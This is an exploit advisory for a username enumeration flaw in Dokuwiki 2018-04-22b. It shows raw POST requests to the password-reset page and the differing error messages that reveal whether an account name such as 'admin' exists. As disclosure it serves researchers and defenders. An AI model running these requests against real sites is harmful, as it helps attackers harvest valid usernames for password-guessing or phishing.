Dokuwiki 2018-04-22b - Username Enumeration

# Exploit Title: Dokuwiki 2018-04-22b - Username Enumeration
# Date: 2019-12-01
# Exploit Author: Talha ŞEN
# Vendor Homepage: https://www.dokuwiki.org/dokuwiki
# Software Link: https://download.dokuwiki.org/
# Version: 2018-04-22b "Greebo"
# Tested on: 
# Alpine Linux 3.5 (docker image)
# PHP 5.6.30
# Apache/2.4.25 (Unix)
# CVE : 

# At login page there is a "set new password" page as below:
# Forgotten your password? Get a new one: Set new password
# At this page there is username enumeration vulnerability.
# Testing for non-valid user:

POST /doku.php?id=start&do=resendpwd HTTP/1.1

sectok=&do=resendpwd&save=1&login=sss

# Response for non-valid user(sss):

<div class="error">Sorry, we can't find this user in our database.</div>

========================================================================

# Testing for valid user:

POST /doku.php?id=start&do=resendpwd HTTP/1.1

sectok=&do=resendpwd&save=1&login=admin

# Response for valid user (admin):

<div class="error">There was an unexpected problem communicating with SMTP: Could not open SMTP Port.</div>
<div class="error">Looks like there was an error on sending the password mail. Please contact the admin!</div>